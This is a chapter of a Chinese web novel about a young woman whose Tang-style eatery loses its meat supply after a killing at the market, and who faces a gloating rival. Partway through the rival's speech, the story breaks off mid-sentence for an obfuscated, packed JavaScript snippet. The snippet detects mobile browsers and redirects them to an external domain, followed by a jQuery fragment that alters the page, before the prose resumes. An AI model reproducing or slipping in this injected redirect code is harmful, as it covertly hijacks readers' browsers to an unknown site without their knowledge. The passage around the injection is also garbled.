阿努带来的消息,如同腊月里最凛冽的一道寒风,瞬间将沈记食肆内勉强维持的暖意彻底冻结。
东市牲口市……死了人?老羊倌……不肯低价出货……官府封锁……
每一个字都像冰锥,狠狠扎在沈知意的心上。她只觉得一股寒气从脚底板直冲天灵盖,四肢百骸都僵住了,连呼吸都滞涩起来。
“死……死了人?”
福伯在一旁听得真切,老脸瞬间煞白如纸,手里的抹布“啪嗒”掉进洗菜盆里,溅起一片水花。
他嘴唇哆嗦着,几乎站不稳,“怎、怎么会……光天化日……他们、他们怎么敢……”
邹娘子更是吓得浑身一软,瘫坐在凳子上,死死搂住懵懂不知事的阿宝,眼泪无声地往下掉,整个人抖得如同风中残叶。
大牛和栓子两个年轻小伙也傻了眼,面面相觑,脸上满是惊骇与无措。
食肆内死一般寂静,只有灶膛里柴火偶尔发出的噼啪声,衬得这寂静愈发令人窒息。
东市封锁,牲口市彻底瘫痪。
这意味着什么,不言而喻。
莫说羊肉,恐怕未来很长一段时间内,西市所有肉铺都将无肉可卖!
猪肉、鸡肉、鸭肉……一切肉食的来源都将被彻底掐断!
这对于以豚肉臊子面、胡麻髓饼、炙肉串、乃至刚刚打响名头的“胡风炙羊排”为支柱的沈记食肆而言,无疑是灭顶之灾!
“素雪凝脂”和“温拌冷淘”虽能暂缓一二,但终究替代不了肉食带来的丰厚利润和稳定客源。
长此以往,食肆收入必将锐减,能否维持日常开销都成问题。
更可怕的是,对方的手段如此狠辣决绝,竟闹出了人命!
这已远超商业倾轧的范畴,而是赤裸裸的无法无天!
虎爷这伙人,根本就是一群亡命之徒!
“六娘……咱们、咱们怎么办啊?”
福伯带着哭腔,声音嘶哑,满是绝望。
“没肉……这店还怎么开下去啊……”
沈知意强迫自己从恐惧混乱中挣脱出来,她勉强保持着一丝清醒。
不能乱!此刻绝不能乱!
她深吸一口气,声音因紧绷而显得有些沙哑,却异常清晰。
“慌什么!天还没塌下来!没肉,就想办法做没肉的生意!活人还能让尿憋死?”
她目光扫过惊惶失措的众人,语气斩钉截铁:“从明日起,所有含肉的菜品,暂停售卖。‘胡风炙羊排’、炙肉串下牌。豚肉臊子面……改为‘素臊子面’,用香菇、笋丁、豆干碎炒制臊子!价格下调五文。”
“福伯,明日采买,重点采购各类豆制品、面筋、香菇、木耳、笋干、时蔬!鸡蛋若价高,便少买或不买!”
“邹娘子,日后洗面筋、制豆干的活计要加重,务必跟上用量!”
“大牛,栓子,你们明日也多来帮忙,工钱照旧!”
她一连串的命令下去,条理清晰,不容置疑,总算让慌乱的气氛稍稍稳定下来。
福伯抹了把冷汗,连连点头:“哎!哎!老仆明白!明白!”
邹娘子也止住哭泣,用力点头,将阿宝搂得更紧。
大牛和栓子也赶紧应声。
然而,每个人脸上那浓重的忧色,却丝毫未减。
谁都知道,这只是饮鸩止渴。
素菜利润薄,耗工多,即便能维持营业,收入也必将大幅缩水。
这小小的食肆,还能撑多久?
接下来的几日,西市果然一片愁云惨淡。
肉铺纷纷关门歇业,仅剩的一两家也是门可罗雀,肉价高得离谱,且肉质堪忧。
各家食肆酒楼无不叫苦连天,纷纷挂出调整菜牌的告示,素菜比例大幅增加。
沈记食肆也不例外。
“素臊子面”勉强推出,虽沈知意极力调味,用香菇的浓香和笋丁的脆嫩模拟肉臊口感,但老主顾们吃惯了真材实料的肉臊,对这“山寨”版本终究兴趣缺缺,销量大不如前。
“素雪凝脂”和“温拌冷淘”虽吸引了一些尝鲜客,但毕竟受众有限,难以支撑整个食肆的运营。
每日的进项肉眼可见地减少,钱匣变得轻飘飘的。
更雪上加霜的是,或许是因肉食短缺,人心惶惶,连带着其他食材的价格也开始波动上扬。
豆子、香菇、甚至菘菜萝卜,都比往日贵了些许。
成本在增加,收入在减少,此消彼长,压力骤增。
福伯每日对着账本唉声叹气,邹娘子干活时也常走神,眉宇间笼罩着化不开的愁云。
连偶尔来店的熟客,闲聊时也多是抱怨肉贵难买,气氛低迷。
这日午后,食客稀疏。
沈知意正低头核算着日益窘迫的账目,忽听门口传来一个熟悉又令人厌恶的油滑声音:
“哟!沈小娘子,生意可好啊?啧啧,这店里……怎么闻着寡淡了许多?往日那肉香扑鼻的劲儿哪去了?”
沈知意抬头,只见张胖子揣着手,晃着肥胖的身躯,慢悠悠地踱进店来,脸上堆着假笑,一双小眼睛里却满是幸灾乐祸和毫不掩饰的恶意。
他身后还跟着两个吊儿郎当的帮闲。
店内仅有的两桌食客见状,纷纷皱眉侧目。
福伯脸色一变,上前一步想要阻拦:“张掌柜,你……”
“哎,老福头,别急啊!”
张胖子推开福伯,径直走到沈知意面前,阴阳怪气道?
“小娘子,听说东市那边……啧啧,惨呐!好好的羊倌说没就没了!这肉啊,怕是往后有段日子都吃不上了吧?嘿嘿,你那什么炙羊排、肉臊面,还卖得动吗?”
他声音不大,却足以让店内所有人都听得清清楚楚。
沈知意放下账本,面无表情地看着他,心中怒火翻腾,却强自压下,冷声道:“张掌柜今日来,若是用饭,本店欢迎。若是来说这些不相干的,恕不招待。”
“吃饭?”
张胖子嗤笑一声,夸张地吸了吸鼻子。
“就这些清汤寡水的玩意儿?喂兔子呢?老子可吃不惯!”
他凑近一步,压低声音,语气却愈发阴毒。
“小娘子,别硬撑了。没肉,你这破店还能开几天?识相点,早点关了门,把地方让出来,或许还能留点本钱滚蛋。不然……哼哼,到时候赔得裤衩
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16504131|184455||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
都不剩,可别怪街坊没提醒你!”
“你!”福伯气得浑身发抖。
邹娘子吓得往后缩了缩。
沈知意却猛地站起身,目光如冰刃般直刺张胖子。
“张掌柜,我的店开不开,不劳你费心。有这闲工夫,不如想想怎么把你那硌牙的蒸饼做得软和些,或许还能多招揽几个客人。送客!”
她声音不大,却带着一股不容置疑的冷厉。
张胖子被她的目光慑得一滞,随即恼羞成怒,胖脸涨得通红。
“好!好你个牙尖嘴利的臭丫头!给脸不要脸!咱们走着瞧!看你还能嚣张几天!”
他狠狠啐了一口,带着帮闲,骂骂咧咧地摔门而去。
店内一片死寂。
留下的食客面面相觑,匆匆吃完,放下钱便低头离开了。
福伯老泪纵横,捶着胸口:“欺人太甚!欺人太甚啊!”
邹娘子无声地抹着眼泪。
沈知意站在原地,挺直的脊背微微颤抖,方才强撑的镇定几乎耗尽了她所有力气。
张胖子的嚣张,东市的命案,日益窘迫的营生……如同一座座大山,压得她几乎喘不过气。
她缓缓坐回凳子上,目光落在窗外。
天色灰蒙蒙的,又开始飘起了细雪,寒意刺骨。
难道……真的走到绝路了吗?
就在这时,店门吱呀一声,又被推开了。
众人惊弓之鸟般望去,却见进来的是浆饮铺的阿婆。
她挎着个篮子,脸上带着忧色,快步走到沈知意面前,低声道:“六娘,莫理那张胖子,他就是条疯狗!方才老身见他在市署那边,跟王录事嘀嘀咕咕半天,准没好事!你可千万小心!”
王录事?沈知意心中一凛。
腊八节那场构陷,王录事便是马前卒。
如今东市出了命案,局势混乱,他们又想趁机做什么?
阿婆又从篮子里拿出几个还温热的蒸饼,塞到沈知意手里:“家里新蒸的,你们凑合吃点。这光景……都不容易。挺住啊,六娘!”
看着阿婆关切的眼神和那冒着热气的蒸饼,沈知意鼻尖一酸,险些掉下泪来。
这市井之中,有张胖子那般落井下石的小人,却也有阿婆、阿努、铁匠张大叔这些雪中送炭的温暖。
她用力点点头,接过蒸饼:“谢谢阿婆。”
送走阿婆,沈知意看着手中粗糙却温暖的饼子,心中那股几乎被压垮的绝望,忽然又被一丝微弱却不甘熄灭的火苗取代。
不能认输!绝不能认输!
她重新拿起账本,目光变得锐利起来。
肉食断绝,固然是危机,但或许……也是逼迫她彻底转型、开辟新路的契机!
素菜……面点……小吃……定然还有未被发掘的潜力!
她脑中飞速盘算着现有的食材和可能的新品,目光再次落在那罐艾山留下的神秘香料上。
这“卡瓦辛”……除了烹肉,是否还能有别的妙用?艾山留下它,绝不会是无的放矢。
夜色渐深,风雪更急。
沈记食肆的灯火在寒风中摇曳,却顽强地亮着,不肯熄灭。